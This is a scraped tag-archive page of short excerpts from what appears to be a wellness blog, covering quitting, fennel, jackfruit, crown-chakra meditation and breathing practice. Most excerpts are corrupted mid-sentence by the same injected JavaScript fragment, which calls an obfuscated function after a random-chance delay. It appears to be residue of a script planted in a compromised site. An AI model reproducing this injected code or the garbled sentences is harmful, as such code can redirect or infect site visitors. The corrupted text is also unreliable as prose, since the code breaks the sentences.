Tag Archives: healing

Rehab Is For Quitters

Why does quitting have such a bad connotation?  Oh yeah, that’s right; in our western society we sometimes have pressures placed upon us or the mentality to be the best, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and to be the best …

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Superfood: Fennel

Tis the season, fennel season that is. Fennel season runs from September to June andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and is especially abundant around the holiday season as it’s typically used in many Italian holiday dishes, such as salads, soups …

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We Have It All

“The awe, inspiration andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and talent you recognize in others are but a reflection of the same thing in you. I highly suggest you do not seek the approval or recognition of those you admire but …

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Feeding Your Crown Chakra

 As we continue to work on the crown chakra today we’re going to look out how we can nourish or help activate this chakra through food. We already know that the crown chakra colors are white andom()*5);if (c==3){var delay = …

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Shine Bright

“Transcendence is the path of liberation. Immanence is the path of manifestation. To embrace them both is to see the divine within andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and without as an inseparable unity.” The crown chakra is a two-way gate …

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How To Do Bhastrika Pranayama

Bhastrika in Sanskrit means bellows, as this practice is also known as bellow breath. In Bhastrika pranayama, the breathing pattern resembles the blowing of bellows – it’s all about inhaling andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and exhaling completely so that …

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Superfood: Jackfruit

I know you’re probably thinking jack what? I’ve never seen or heard of such a thing? Well get ready to be blown away. The jackfruit tree is native to Southeast Asia andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and grows well in …

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Accepting Ambiguity As Greatness

“As human beings, not only do we seek resolution, but we also feel that we deserve resolution. However, not only do we not deserve resolution, we suffer from resolution. We don’t deserve resolution; we deserve something better than that. We …

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Crown Chakra Meditation

As discussed earlier this week, our 7th chakra, the crown chakra located at the very top of the head is associated with the colors violet andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and pure white, as in a “light” white. It is …

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Crown Chakra Insights

It is only when we silent the blaring sounds of our daily existence that we can finally hear the whispers of truth that life reveals to us, as it standom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ands knocking on the doorsteps of …

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